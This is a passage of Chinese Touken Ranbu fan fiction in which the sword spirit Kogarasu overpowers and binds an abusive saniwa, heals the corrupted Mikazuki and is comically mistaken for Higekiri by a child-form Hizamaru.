他们的主人是真不怎么聪明,都到了这个地步了居然没发现他们是故意的。 也许就是因为不聪明,才会被外人蒙骗吧。 同时,刀剑们心里很痛苦。 他们认为主人变成现在这个样子,他们也有很大的责任。 是他们没有教导好主人,不够关注她。 短刀们的到来暂时打断了人见桃的发疯。 “主、主人。” 今剑叫了一声,正想上前,药研藤四郎却先抢先一步抱着小膝丸站在人见桃面前,把抱着小膝丸本体的今剑挡在身后。 今剑一怔,顺着他的意又退到了后面。 药研藤四郎:“主人,我们找到了髭切殿和膝丸殿,膝丸殿没有大碍,但是髭切殿变回了本体。” “变回了本体?” 人见桃现在头痛欲裂,灵力枯竭带来的眩晕让她眼前时不时出现重影,没功夫去分辨“髭切”现在到底是个什么状态。 她先吩咐了除今剑和药研之外的短刀们现在去出阵寻找资源。 短刀们应声,重新前往庭院的传送装置。 他们刚出门,人见桃的终端就响起了传来讯息的提示音。 “叮咚。” 第37章 第三十七章 和神明许愿是有代价的 小乌正在本体中偷偷观察这个本丸的审神者。 髭切描述的没有错, 这只是个没有经过任何训练的普通人。 以他的实力,杀了她很简单。 而且现在也是个好时机,她为了修复刀剑而灵力枯竭, 很难调动出什么防御手段。 只要让她来不及说话使用言灵就没问题了。 药研藤四郎的行动也很符合他的打算。 小膝丸的本体在后面今剑的手上, 等会动手不容易波及到他的本体。 现在, 只要等审神者再靠近一点,对他的本体出手 人见桃在查看了终端消息后,气得尖叫了一声。 她点开刀剑贩子回复的消息,上面写着—— “以后不要再联系了。” 什么? 人见桃呆住。 这什么态度?! 刀剑贩子看到她的消息, 直接拉黑她断了联系! 那声音就像是用指甲刮过黑板,刺耳到在场的刃都下意识蹩眉。 小乌在本体里也忍不住“嘶”了一下, 好在本体不能发声, 没有暴露。 我的天啊,都这样了还能有这样的肺活量。 “去死啊!都去死!”人见桃怨毒地看向“髭切”,“都是因为你和三日月!要不是你们逃跑,事情怎么会变成这样!” 她伸手过来要抓“髭切”,一边念叨:“跑啊!还不是落到我的手心里!你最好是没有碎刀,不然折磨不了你我就折磨你弟弟!” 小乌在本体里听了她的话, 也生出了怒火。 你算什么东西! 眼看着人见桃的指尖触碰到了小乌的本体—— 轰隆!轰隆隆! 一阵地动山摇。 外面传来惊人的爆炸声, 木质结构的房屋发出呻吟,灰尘扑簌簌地从梁上落下, 架子上的瓶瓶罐罐叮叮当当, 刀剑男士们也被震得东倒西歪。 小乌刚从本体显现, 抓着本体就要砍下人见桃的头, 结果刚好撞上这场大爆炸,脚下不稳,刀尖倾斜捅穿了人见桃的腹部。 刀刃穿透□□的声音被掩盖在爆炸声中。 人见桃被小乌一刀捅穿后, 还保持着刚刚的那恶狠狠的表情,在大地地晃动下摇晃了几下,然后腿一软,扑通一下向后脱离了小乌的本体,倒在地上。 “” 人见桃后知后觉,摸了摸肚子。 手上感受到了湿漉漉的触感。 放在眼前,一片刺目的红色。 发生了什么? 血好多血 怎么没有力气起来了? 手入室外传来纷乱的脚步声。 是刚刚被人见桃派去出阵的短刀们跑回来了。 他们用力推开手入室的门,大喊:“传送装置爆炸了!大家快——跑” 他们站在门口不动了。 和手入室里的刀剑男士们一样,看着突然出现的陌生刀剑男士和被他一刀捅穿腹部而倒下的审神者。 大脑一时停转,不知道这是什么情况。 啊审神者受伤了,要救吗? 今剑震惊之下没有抱住小膝丸的本体,哐当一下掉在地上。 “啊!对不起薄绿!” 他回过神来,连忙重新捡起,然后看向背对着他们的刀剑男士,迟疑道:“那个,你、你是?” 怎么感觉这些刃都有点呆呆傻傻的。 小乌无语。 不过他们没有护主的念头真是太好了,不然还得多费一番功夫。 小乌暗自点头,用刀鞘抽在反应过来后打算命令刀剑男士们的审神者的嘴上。 小乌:“闭嘴。” 刀剑男士们以为是在说他们,面面相觑,不知道该不该听他的。 “啧。” 人见桃不吃教训,还试图使用言灵。 小乌干脆又用刀鞘抽了她几个嘴巴子。 非常夹带私货。 就你说要折磨膝丸是吧?看我抽不抽你就完了! 源氏重宝的尊严不容侵犯! 审神者被抽得头晕眼花,一时半会都捋不清舌头。 小乌撕了一块布料,塞进她的嘴里,防止她突然开口说话。 他转过身,刀剑男士们才看清他的模样。 黑红色的头发,穿着白红色的军装,不管是服装还是面容都和源氏兄弟有明显相似度。 没看过执法队直播的刀剑男士:???谁? 在当近侍期间和审神者看过直播或者录播的刀剑:!!! 药研藤四郎试探着喊:“小乌殿?” 小乌点头回应他:“是的。” 但脚趾已经在暗地里扣起鞋底来了。 好好好,又是看过他那场直播的刃是吧。 他要是杀人/刃灭口会不会直接导致时间溯行军大胜利? 感觉大半个时政都看过他的那场直播了。 sad :) 药研藤四郎:“没想到是您啊” 他虽然察觉到他们发现的那振“髭切”似乎有点不太一样,但是没想到是小乌伪装成了髭切。 所以他们是换了刀鞘? 难怪衣服变成白色了,不是之前看见的那身黑色军装,不看脸真的很难认出是谁。 刀剑男士们陆陆续续的都明白了,虽然有的刀剑男士并没有看过小乌的那场直播,但是只要有刀剑男士看过,基本都会传遍本丸。 毕竟是未实装刀剑的本灵嘛又被困在敌方阵营受苦,他们私底下都为小乌的处境担忧过。 他们很高兴能亲眼看见小乌出现t?,但是此刻并没有那个功夫去管这些了。 莺丸早在爆炸声响起的时候就挣扎着从手入池中坐了起来。 他看了一眼在地上艰难爬行,眼泪鼻涕齐下的审神者,提醒:“布快被摘下来了哦。” 小乌回头瞥一眼,想了想。 小乌:“谁帮我按住她一下。” 莺丸:“我来,我来。” 他才修到中伤就积极地从手入池中爬出来。 他也是被人见桃买回来的刀,初始好感就不高,再加上她的恶劣行迹,下手毫无负担。 药研藤四郎也是无语了,你来什么来,没见你这么积极过。 他走过去把莺丸推回去:“我来吧,您好好躺着。” 好,审神者的问题暂时解决。 小乌看向刚刚跑进来的那群小短刀:“你们刚刚说什么东西炸了?” “传送装置!是传送装置突然爆炸了!” 事情变得糟糕了 小乌开始头痛。 明明审神者全程都在眼皮子底下没有办法动手脚,这传送装置是怎么炸的? 不过传送装置炸了,就代表他们出不去了。 小乌在被送进来的时候已经简单了解了一下当前的情况。 修刀的资源已经基本耗尽了,还有很多把重伤的刀剑没有修,必须用灵力。 而且不知道他们会被困在本丸里多久,如果不能短时间找到出去的办法,这群刀剑男士就还需要灵力的供养,本丸里的一切生活设施还有田地中作物的生长也需要灵力。 又是供一个本丸,又要修刀的,小乌就算把另外一半灵力都投入进去估计也不够用。 所以这个审神者不能死。 也是阴差阳错了。 小乌唏嘘。 还好刚刚砍的不是头,还能再救一下。 同时也感叹一下姜还是老的辣,髭切真是把计划想得很周全了,这种情况完全能用得上他教的一些紧急手段。 小乌重新来到人见桃的身边,把她嘴里的布料拔了出来。 人见桃怕再被小乌打,哆哆嗦嗦地不敢发出声音。 小乌对她露出一个笑容:“说话。” “我说、我说那个爆炸不是我弄的!是卖我刀的那个人!肯定是他!他骗我在传送装置放了符咒,说是可以加强防御” 人见桃被吓破了胆,捂着肚子了破口全秃噜了出来,生怕小乌一个不满意就会砍她。 太吓人了,这把刀不仅长得像髭切,笑起来也像。 “救救我” 她哭着求小乌。 她现在全身发冷,血一直在流,她觉得她马上就要死了。 她不想死。 “求求你,我错了救救我” 现在倒是知道怕死了。 小乌冷哼一声。 但再不给她治疗灵力没着落了。 小乌给她的伤口输送了一些灵力,因为对方是人类,所以效果很微薄,但是人见桃能感觉到灵力带来的温暖。 小乌只输了一点让她感受一下,然后问她:“救你,是你的愿望吗?” 四目相对,人见桃突然觉得面前的刀剑男士的眼睛似乎是一个红色的漩涡,有一种莫名的蛊惑。 她不由得顺着小乌的话回答:“是的。” “你许愿让我救你,对吗?” “对” 无形的契约在人见桃肯定的回答后达成了。 不是审神者和刀剑男士的契约。 而是人类对神明许愿而立下的契约。 成功了。 小乌脸上的笑容扩大。 “你的愿望我收到了。” 他再次给人见桃输送灵力,有了契约的帮助和人见桃愿望的加成,这一次他很顺利地帮人见桃止住了血。 他还得到了这个人类的真名,只要他想,随时都可以将她神隐。 不过他才不会神隐她呢,简直吃饱了没事干,没把她当场宰了就不错了。 小乌恨不得往她身上啐一口。 “药研,麻烦您给她处理一下伤口。” 小乌站起来向药研拜托道。 然后再向这里的刀剑男士们解释了一下他受髭切所托来帮助大家,现在他掌握了审神者的真名,在等待时之政府帮助的期间,只要把她当作是一个灵力供给装置,不让她死了就好。 小乌果断把审神者的真名都告诉了所有刀剑男士。 本来是打算直接杀了她破除言灵的,但是现在还有用杀不了,就只能让刀剑男士们有自保手段了。 小乌威胁人见桃:“如果你敢反抗,就会被我们任意一刃神隐,知道了吗?我们会让你比死了还痛苦。” 人见桃点头如捣蒜。 第38章 第三十八章 补药啊我不是痴汉!…… 联系时之政府的联系时之政府, 检查传送装置的去检查传送装置。 小乌有条不紊地给目前行动能力没有问题的刀剑安排了一下任务。 因为小乌帮助了他们,所以大家都没有异议,动了起来。 检查过后的结果并不是很好。 先不提材料问题, 这个本丸没有政府刀, 没有刃会修传送装置。 狐之助被拒绝常驻了, 上一次的定时上访才刚刚来过,等下次的还需要等半个月 联系时之政府 信号被屏蔽了。 问就是刀剑贩子卖给审神者的东西干的。 你个糟心玩意啊!真是什么都敢用! 小乌恨不得把人见桃再打一顿。 “还好髭切大人还在外面。”小乌安抚他们,“他发现审神者契约一直没有断开,会继续寻求援助的。” 大家情绪都还算稳定, 对现在的情况接受良好。 再怎样也比之前好多了。 他们虽然不至于到憎恨审神者的地步,但也失望透顶。 所以他们也默认了小乌的打算, 准备将人见桃关在天守阁轮流看守。 今剑在药研去帮忙之后就一直抱着小膝丸和他的本体, 等小乌空闲下来,他赶忙过去向小乌求助。 “小乌殿!三日月、三日月他还在被关着,他已经暗堕了,可不可以” “我去看看,他在哪?”小乌直接答应了他,他在来之前就从髭切的口中听到了三日月宗近的情况, 手入室里没看见他, 也有些担心。 小乌看到今剑怀里的小膝丸,上前几步想接过来, 但是想到衣服上的血, 犹豫了一下, 还是拜托今剑帮忙再抱一会。 “三日月就在天守阁里, 主人审神者开启了天守阁的结界把他困在里面了。” “幸好您来了,不然” 小乌:“不用说敬语的啦,我可以直接把结界打开。” 小乌脚步匆匆, 他在路上听今剑说三日月宗近把自己双腿斩断了,吓个半死,不敢耽搁,就怕来晚了三日月宗近就碎了。 结界不是问题,他和人见桃签订了不平等契约,他处于上位,能够接管天守阁的权限,一切限制在他面前形同虚设。 他们推开了困着三日月宗近的那扇房门,里面的景象让小乌心头一紧。 空气中弥漫着他浓重的血腥味,三日月宗近背靠着墙坐在角落,那身华丽的出阵服,腰部以下的位置似乎都被血泡透了,失去了原本的颜色,触目惊心。 他听见了房门被打开的动静,侧头看过来,小乌发现他蓝色的头发出现了几缕白色。 恐怕是暗堕了。 “哦呀?” 三日月宗近那双含着新月的眼眸亮起来,带着惊讶,在小乌走近后,又出现了了然。 虽然看起来很狼狈,但是他的姿态依然从容,只有嗓音带上点沙哑。 “比我预想得要快很多,小乌殿就是髭切殿找来的帮手吗?真是意外之喜。” 三日月宗近精确地叫出了小乌的名字。 小乌“”了一下。 再次被提醒了他的视频的传播程度有多广 他无奈地深吸了一口气。 小乌:“是我,三日月殿。” 他快步走过去用灵力查看三日月宗近的状态:“您现在感觉怎么样?” 三日月宗近:“没事没事,已经被治疗过了。” 确实没什么问题,估计是审神者怕三日月宗近碎刀了,所以把腿治好了只剩下一些皮外伤,没有大碍。 小乌搭着三日月宗近的手腕探入灵力,帮他祛除了一部分暗堕。 本丸失去了通往外界的通道,如果髭切并没有找到外援,那么就得等半个月后狐之助的回访,怎么说也得在这个本丸生活一阵,三日月宗近的暗堕程度和髭切差不多,并不严重,这点时间够t?他完全拔除了。 他现在倒是更担心一个刃在外面的髭切担心在他迟迟找不到救援暗堕加深。 还好把御守留给了他。 小乌温和的灵力注入三日月宗近的体内,三日月宗近发间几缕刺目的白色如同冰雪消融般褪去,恢复了原本的颜色。 他的脸色依然苍白,但精神看起好多了。 “呼”三日月宗近活动了一下僵硬的脖颈,“多谢小乌殿。” “分内的事。” 小乌扶着三日月宗近站起来,和他解释了一下现状。 三日月宗近:“唔呣,身上粘腻得难受,老爷爷现在只想换一身衣服呢” 他低头看了看自己的衣服,抬手用衣袖掩去了略带嫌弃的表情。 这个本丸目前只有三日月宗近和今剑,听到三日月宗近的话,今剑想说他来帮忙换衣服,但是想到不能丢下小乌,思考了一下,干脆邀请小乌:“你们两个” 他看了一下小膝丸,嗯,也脏。 哪怕有髭切护着,也在逃亡的路上沾了不少尘土和髭切的血迹。 今剑:“我们都去洗个澡吧?本丸里有温泉,先换一身干净的衣服。” 这个好哇! 小乌眼睛一亮。 温泉! 当了好久的野人,终于能享受生活了吗?! 小乌:“好啊好啊!” 我想泡温泉! 三日月宗近:“那么,先去拿换洗的衣物吧。” 既然准备去洗澡了那也不管脏不脏的了,小乌把小膝丸的本体一同挂在腰间,接过小膝丸抱着。 他戳戳小膝丸的脸。 好可爱是幼崽膝丸! 今剑带着他们先去了三条的部屋拿了他和三日月宗近的衣服,然后再领着小乌他们前往源氏的部屋。 “到啦!”今剑拉开门,“我来帮你们找衣服!” 今剑翻出了小膝丸的衣服,然后又去翻出了髭切的内番服。 在他看来,髭切既然会放心地把膝丸交给小乌,又拜托他来帮助本丸的大家,那就说明他们的关系还是不错的。 所以直接找了髭切的衣服来。 今剑:“唔,小乌你就先穿髭切的衣服吧!” “哦好嗯?” 小乌突然瞪大眼睛。 他穿髭切的衣服吗? 会、会不会不太礼貌,擅自穿髭切大人的衣服什么的 但是好心动 小乌的眼睛黏在了髭切的衣服上,脑子里各种想法在疯狂打架。 要告诉他们其实他的衣服可以直接用灵力弄干净吗?但是这可是髭切的衣服诶!他好想穿穿看 要是擅自穿了之后被髭切知道了怎么办?会不会介意? 唔啊啊啊怎么感觉自己好痴汉! 但是这身出阵服穿起来其实也挺繁琐的,他也想穿些轻便的衣服 好吧我就是想穿髭切的衣服!!! 小乌脸上的表情变幻莫测。 和之前可靠镇静的模样完全不一样。 今剑好奇地观察着小乌的表情。 小乌的性格好像跟他刚刚表现出来的不太一样哦现在的表情还挺丰富的,这叫什么来着?反差萌? 他前面还以为是像药研的那种性格。 “小乌殿、小乌?” 今剑看小乌迟迟不动,疑惑地叫他一声。 三日月宗近在旁边饶有兴致地看了全程,眼眸微微弯起,洞悉了小乌心里的想法,略微促狭地笑了笑,语气温和地开口,打断了小乌内心的天人交战:“不必拘束,髭切殿不会介意的,借用一下衣物也无妨。” 是、是嘛,既然三日月都这么说了那应该就是没问题了吧。 小乌把脸往小膝丸的肚子上埋了一下。 “好的,谢谢今剑,那我们走吧。” 今剑高兴地应道:“好!我们走吧!” 到了洗浴处,发现其实有好几刃已经在里面了。 很多刃都受过重伤,身上糊满了血,先前被治好的那一批和出阵的一那批刃都忍受不了身上的脏污,先来清洗了。 和泉守兼定看到他们,光着膀子就晃过来了。 和泉守兼定:“哟!你们也来洗澡啊?三日月你的伤怎么样?哦哦!你是那个小乌是吧!你好啊!我是和泉守兼定,很帅气也很强!是最近很流行的刀!之前真是多谢了!” 小乌看见他光着膀子就不由自主地想起了源义经庆功宴的那一晚 啊那晚已经给他带来了心理阴影 小乌感觉自己可能不太能接受这种澡堂文化,当初在平安时代他都坚持着日复一日地烧水、提水到隔间去洗澡。 但是条件如此,没办法了,他必须得接受。 嗯,看他们一点都不尴尬,我也不会尴尬的! 勇敢小乌,不怕困难! 小乌:“你好,我是小乌,是髭切大人的仿刀。” 和泉守兼定诶了一声:“仿刀?啊那不就是和山姥切那样” “你干什么呢!水龙头都不关就到处跑!” 歌仙兼定在旁边听不下去了,过来揪住他。 哪壶不开提哪壶,就非要逮着敏感话题聊吗?没点眼力见! 和泉守兼定:“啊?我关了吧啊我知道了!” 和泉守兼定才反应过来,之前小乌的表现让他下意识忽略了仿刀这个话题的敏感性。 呃呃,万一和山姥切国广一样比较在意仿品身份的话就踩到人家的雷点了 歌仙兼定和他们打了个招呼就按着和泉守兼定去温泉里泡着了。 其实我不在意仿刀这个身份的 小乌想这么说,但是没找到机会。 就在这时,小乌感受到怀里的刃有了动静。 “唔” 是小膝丸醒了。 第39章 第三十九章 虽然你是个傻的,但是弟弟…… 小膝丸的睫毛颤动了几下, 缓缓睁开了那双和髭切如出一辙的茶金色眼睛。 他先是迷茫地眨眨眼,然后看向抱着他的刃。 他僵硬地低头和小膝丸对视。 小乌:“膝膝膝、膝丸大人,你醒了” 小膝丸盯着他的脸, 不动也不说话, 似乎在分辨抱着他的刃是谁。 小乌也跟着一动不动, 小膝丸没有反应,尬得他脚趾又开始扣地。 最后,膝丸似乎确认了什么,对小乌露出一个甜甜的笑, 大喊:“兄长!” 阿尼甲——! 尼甲——! 甲——! 清脆的童声在澡堂中回荡,甚至还有回音。 原本在各自清洗、交谈的刀剑男士们动作齐齐一顿, 竖起了耳朵。 有的刃听出来声音是从门口传来的, 有的刃听出了是小膝丸的声音,都纷纷好奇地探头去看是什么情况。 髭切殿不是不在本丸吗?膝丸殿又哪来的兄长? 他们看到小膝丸居然对着小乌在喊兄长,头上冒出了一个看不见的问号。 什么情况? 论辈分和诞生顺序,再怎么样该喊兄长的也应该是小乌殿而不是膝丸殿吧! 难道是小膝丸有什么缺陷分不清人吗? 小乌也在思考这个问题。 正常来说膝丸怎么可能会认不出自己亲哥啊! 他虽然作为仿刀长得和髭切比较像,但也没有像到会被认错的地步吧!明明差别还是很明显的! 小膝丸对周围诡异的气氛毫无察觉。 见“兄长”没有像往日一样回应他,有些困惑和不安, 伸出手轻轻地扯了扯小乌落在胸前的一缕发丝, 带着点委屈,又喊了一声:“兄长?” 这次的声音变小了。 小乌察觉到小膝丸的情绪, 知道不能再沉默下去了。 他只能认真地看着他, 纠正道:“我不是髭切大人, 我的名字叫小乌, 是髭切大人的仿刀,并不是您的兄长。” 别乱叫啊,我怕髭切知道了砍我 小膝丸的眼睛睁大, 一脸严肃地反过来纠正他:“兄长,你怎么又记错名字了!你叫髭切呀,不叫小乌。” 小乌:“?” 痛、痛失本名? 倒反天罡! 髭切你是不是在打晕膝丸的时候把他脑子也一起打坏了?! 不等小乌反驳小膝丸,膝丸又扯了扯手里的头发,疑惑地问:“兄长,你的头发怎么变成黑色和红色的了?” 小乌:“呃这个” 不是,你看到这个发色都没觉得不对吗? 小乌感觉自己的太阳穴在突突直跳。 他试图说服疑似有认知障碍的小膝丸:“膝丸大人,我的头发是黑红色的,髭切大人的头发是金色的;我的眼睛是红色的,您兄长的t?眼睛是和您一样的金色您真的认错刃了!” 小膝丸听完他叽里咕噜的一大堆,眉头皱起,用一种“兄长你又在胡说八道什么”的表情,看着小乌。 他固执地说:“兄长就是兄长啊,不要再给自己乱起名字了,你叫髭切,hi-ge-ki-li!” 他还非常贴心地把髭切的名字读音拆开来,意图让“兄长”好好记住他的名字。 小乌:“你真的认错了!” 小膝丸:“无论兄长变成什么样子,我都不会认错的!” 唉。 他还叹了一口气,配合这副小孩子的外表,看起来人小鬼大的。 小乌读懂了小膝丸的眼神。 小膝丸:虽然你是傻的,但是弟弟爱你 jpg. 小乌:“” 小乌:“” 有一种被智障当成智障的无力感 不会认错是吧,行! 记住你刚刚说的话! 虽然这里没有录像设备,但是一澡堂的刃都是证刃,等髭切来接你我要把你这句话告诉他! 哼! “哈哈哈哈!” 在一旁津津有味地看戏的三日月宗近发出他那标志性的笑声。 他慢悠悠地开口给小乌解围:“好了好了,都是小事。小乌殿,先带膝丸殿进去清洗吧?” 今剑也憋着笑附和:“是啦,小乌先带薄绿去洗洗吧。” 好吧 小乌暂时放弃了试图掰正小膝丸认知的念头。 有什么事洗干净了再解决。 他带着小膝丸去淋浴区,想帮小膝丸脱衣服,小膝丸却按住他的手。 小膝丸:“这点小事怎么能麻烦兄长!我自己来就好了。” 哦 也对,虽然膝丸变成了小孩的模样但并不代表真的是小孩子。 小乌没有接触过孩童模样的刀剑男士,下意识拿对待什么都不懂的小孩子的态度对待小膝丸了。 现在他意识到了,便不再插手,让小膝丸自己脱衣服。 小乌也准备脱衣服。 但是就在他摘下手套的时候,他看到了自己的手。 没有皮肤的手在澡堂明亮的灯光下,可怖的细节清晰可见。 糟了! 他猛然想起自己身上那些可怕的伤痕。 小膝丸现在把他错认成髭切,以他对髭切的在意,如果让他看到这些,会被吓坏的吧。 不能让他看到。 小乌又快速地把手套带回去了。 怎么办呢? 小乌焦急地原地转圈圈。 “怎么了?兄长?” 小膝丸脱完衣服光溜溜地,抬头看他。 “没事” 小乌默默地给他腰间系上了一条毛巾。 虽然都是男性但是也不要随意遛鸟,谢谢。 “嗯膝丸,我、咳,突然想起有点事还要先处理一下。”小乌目光飞快地扫过一旁还在慢悠悠脱衣服的三日月宗近和今剑,灵光一闪。 他转向今剑那边,脸上带着歉意:“不好意思今剑殿,能不能麻烦您帮膝丸大人洗个澡?” 今剑正在帮三日月宗近解开那身繁琐的出阵服,闻言一愣:“诶?你不洗了吗?” 小乌摇头,斟酌着用词:“我晚一点再洗,有点不太方便,结束之后可能还得麻烦您再带他去其他地方玩一会可以吗?” 今剑虽然不太明白小乌说的不方便具体指的是什么,但还是立马点头:“尽管交给我吧!” “薄绿快来!等我帮三日月弄完我们去洗澡!” 小膝丸抓着小乌的衣角有些不情不愿,但还是被小乌哄着去了今剑那边。 小乌在门口等着小膝丸洗完,出来的不仅有今剑和小膝丸,还有一溜的小短刀们,叽叽喳喳的,热情地和小乌打过招呼后簇拥着小膝丸,呼啦一下涌出了澡堂。 看来他们都是来帮忙带孩子的热心刃士。 “兄——长——!”小膝丸被裹挟着往外走,还不忘回头叫他。 小乌朝他挥挥手。 拜拜,我要洗澡了,一会来找你。 等到他们的身影消失在视线中,才长长地吁处一口气。 呀嘞呀嘞,终于可以泡温泉了。 等待小膝丸的这段时间内,大家都已经陆陆续续洗完离开了,澡堂没剩几个刃。 也极大地缓解了小乌的不安。 他脱下衣服在腰间围上浴巾,冲洗过后走到温泉池边,正要踏入水中时,才发现三日月宗近居然还在里面泡着。 他正靠在池边闭目养神,氤氲的热气模糊了他俊美的轮廓。 听到脚步声的靠近,他睁开了眼,目光落在小乌的身上,看清小乌的那一刻,狭长的眼睛吃惊地睁大,显然是有点被惊到了。 小乌的脚步顿住。 他突然有些窘迫。 没有了衣物的遮挡,他的手脚、脖子上狰狞扭曲的伤痕一览无余。 除了三日月宗近的目光,他还能感觉到,澡堂中还未离开的几位刀剑男士也投来了若有若无的目光。 他手指蜷缩了一下,下意识地想遮挡,然后发现面积太大了根本没办法遮挡。 内心突然感觉有点难堪和自卑。 不过,让他稍感安慰的是,无论是三日月宗近还是其他刃,他们的目光都只是短暂的停留,很快就克制又尊重地移开了视线,没有让他感到冒犯或者和不适。 “” 小乌咬了咬下唇,努力忽略掉那份不自在,抬腿迈入了温热的池水中。 温暖的水流瞬间包裹住他的身体,带来慰藉。 他试图打破安静,带着点调笑的语气对三日月宗近说:“不要泡太久哦,会晕的。” “哈哈,没事没事。” 三日月宗近笑着回应。 他委婉地问了一下小乌的身体状况:“您碰水没关系吗?” “没关系,我用灵力保护住了。”小乌向他解释,“这些是我本体被海水腐蚀后产生的,目前没办法修复。” 毕竟他还要在这个本丸生活好几天,免不了在澡堂面对这么多刃,早点解释清楚习惯了就好。 他相信大家是不会因为这些伤痕对他有什么看法的。 “原来如此,那老爷爷就放心了。” 三日月宗近点头。 小乌:。 唉,虽然知道三日月宗近喜欢自称爷爷,但是,唉。 真正面对这张年轻俊美的脸真的好怪。 但是三日月宗近的年龄也是真的比他大,在他面前作长辈姿态好像也没毛病。 岂可修,明明是平安时期的千年刀,他那绝妙的年龄论遇竟毫无用武之地! 三日月宗近其实是特意多留了一会,等着小乌过来。 因为他之前的那番说辞还有不让膝丸一起洗澡的举动,让他担心小乌是不是有什么问题。 小乌身上那些可怖狰狞的痕迹确实也让他狠狠地吃上了一惊。 幸好不是在时间溯行军那里受到折磨而留下的伤痕。 三日月宗近垂下眼不再把目光放在小乌身上:“嗯如果是本体上的锈迹,小乌殿之后可以去政府看看,修复应当是没有问题的。” 接着他又提出了一个方案:“手入室有养护刀剑的器具,若有需要可以先试试是否有效。” 小乌:“我知道了,多谢三日月殿。” 小乌缩进水里,和三日月宗近沉默地面对面。 然后小乌的脚趾开始扣温泉池底。 好尴尬 为什么不说话,要是不说话了能不能不要和他面对面 i刃地狱啊i刃地狱。 好在三日月宗近没呆多久就起身走了。 他为了等小乌已经多泡很久了。 嘶真的有点泡晕了呢,哈哈 第40章 第四十章 感觉兄长要素浓度过高了…… 小乌泡完澡, 套上了属于髭切的那件黑色内搭。 然后他发现了一个严峻的问题。 太大了! 袖子长得能盖住整只手,下摆也直接盖过了屁股,可以直接当裙子穿。 不过只能当超短裙。 随便一动就容易走光 更何况小乌也不能接受穿裙子。 他不死心地拿起内裤和裤子比划了一下 松垮程度让他相信提上去后只要一松手就会掉到地上, 松紧带都不管用。 全都太大了! 虽然作为刀剑男士, 身体上该有的都有, 但是小乌比起髭切穿衣显瘦脱衣有肉的身材,还是干瘪了一点。 撑不起来呀。 “呜” 小乌发出一声小小的哀鸣。 他抱着衣服蹲在地上,内心在流泪。 怎么会这样真的好想穿自推的同款 要是他会针线活就好了,还能改改尺寸, 可惜补破洞已经是他的极限。 小乌只能把自己的出阵服用灵力重置了状态,抖抖又重新穿上。 出了澡堂,t? 小乌茫然地望了望周围, 小短刀他们也没说带着小膝丸去了哪里,他干脆直接按着记忆中的路线先去源氏部屋把髭切的内番服放回原位,再走向手入室。 还有一大堆刀要修呢,手入室这么多刃今剑他们总会找过来的。 小乌走到手入室,发现三日月宗近也在这。 不是,这刃又是战斗又是重伤折腾了这么久一点都不累吗?! 像个npc一样随时随地刷新, 小乌就怕他头上什么时候会弹出个问号给他发布任务了。 不过小乌听到三日月宗近似乎是在和大家商量关押审神者的事。 嗯这他们倒是得安排一下, 他不太好插手了,反正本丸的刃都知道她的真名, 逃不出他们的手掌心。 老刃家就是心思缜密, 不把事情安排清楚都不愿意休息。 “叩叩。” 小乌敲敲门, 示意他来了。 手入室里的刀剑男士们注意到他, 纷纷和他打招呼。 太刀的修复时间很长,莺丸依旧安详地躺在手入池里感叹:“啊好想喝茶。” “唔呣,那么我等下把茶和茶点端过来” 三日月宗近很理解他, 愿意伸出援手。 “别闹了三日月殿”烛台切光忠在另一个池子里躺着,“手入得躺着不方便喝茶吧,而且现在也没人能做茶点” 说到茶点小乌有点饿了,他已经大半天没有吃饭了。 所以有饭吗? 小乌陷入沉思。 烛台切光忠在手入,歌仙兼定虽然已经手入过了但是他在忙着洗衣服 这个本丸还有谁会做饭啊? 他现在马上把烛台切光忠先治好,然后叫他无缝衔接去做饭是不是有点不太礼貌? “话说是不是该吃饭了。” 笑面青江的话说到了他的心坎上。 “的确” “好饿啊” “现在才想起来,我们已经一天没吃饭了。” 没人提还有,有人提出来后,众人的肚子都开始咕咕响。 烛台切光忠很想出来让小乌先把他治好,然后去做饭,但是资源已经投进去了,不能随意中断手入池的修复。 他无奈地望着天花板:“说不定已经有人在厨房了?我记得歌仙殿已经没有大碍了。” 确实,外面的刃也是会饿的,说不定已经有人在做饭了。 大俱利伽罗默默地走到小乌面前,他要先手入。 大俱利伽罗:“我去厨房看看。” 没人的话那他先做点 小乌给他治好了,掂量了一下剩余的灵力,干脆叫住大俱利伽罗让他等一下。 这个本丸的刃数只有二十多振,本来以审神者的灵力完全足够供养更多的刀剑男士,可惜她非要去购买五花和四花的刀剑,强行契约,导致稀有刀剑消耗了她很多灵力,供养不起更多数量的刀剑。 所以小乌把剩下重伤的刃先恢复到中伤的程度还是能吃得消的。 到中伤后就交由一直留在手入室的药研藤四郎帮忙包扎,做个临时的处理。 然后小乌走到大俱利伽罗的身边,要跟他一起去厨房。 小乌:“我也会做饭,可以帮忙一起做。” 还是得自己动手丰衣足食。 在去厨房的路上,小乌听见有人在喊。 “兄长!兄——长——” 小乌扶了一下脑袋。 今天的兄长要素浓度过高了,他有点晕兄长这个词了。 这个本丸会这么叫的显然只有小膝丸一个刃了。 小乌和大俱利伽罗停下脚步,看着小短刀们浩浩荡荡地跑过来。 小膝丸跑过来高高兴兴地喊了一声兄长。 小乌伸手,小膝丸很自觉地拉上来。 牵手。 “咦?”今剑看到小乌的穿着,奇怪地问,“小乌,你怎么没有换衣服呀?” 小乌:“髭切大人的衣服对我来说还是太大了,穿不下” “那我和兄弟的衣服借你吧!” 鲶尾藤四郎拉着骨喰藤四郎过来,和小乌面对面比了比身高。 然后发现他们好像又比小乌矮了一截。 骨喰藤四郎幽幽地:“兄弟,我们不够高。” “呃!”鲶尾藤四郎噎住,随即又说:“小乌殿这个身高跟小叔叔差不多嘛,我们去借小叔叔的!” 这样好像太麻烦刃家了。 小乌有点不好意思:“谢谢,不过没关系,其实我的衣服可以用灵力重置恢复干净的。” “但是不洗的话总是会觉得不舒服的,对吧!”乱藤四郎叉着腰,“没关系的啦!就这样也说好了!等会我们把小叔叔的衣服送到你们的部屋去!” 小乌:“好的,非常感谢!” 小短刀询问小乌和大俱利伽罗这是要去哪里,小乌告诉他们打算去做晚饭,小短刀们听到晚饭也觉得饿了,一部分离开去田地那里收菜,一会送到厨房,一部分小短刀跟着小乌和大俱利伽罗走,去厨房帮忙打下手。 小膝丸乖乖地跑过去拉住小乌的手,不插话也不乱跑。 做晚饭的时候也跟着小短刀们一起打下手。 时不时地晃悠到小乌这边,喊着兄长我来,兄长小心,兄长请交给我吧之类的话抢着小乌手里的活干。 小乌忍不住学髭切给他取外号:“好了,操心丸,这些我来就可以了。” 这已经不是照顾了,是伺候了。 好不习惯。 但是又有点爽诶。 原来髭切过的一直是这样的生活吗? 年幼体膝丸都这样了,要是换成成年体、能包揽更多事务的膝丸,岂不是会生活得非常堕落 “是膝丸啊兄长!” 小膝丸瘪嘴。 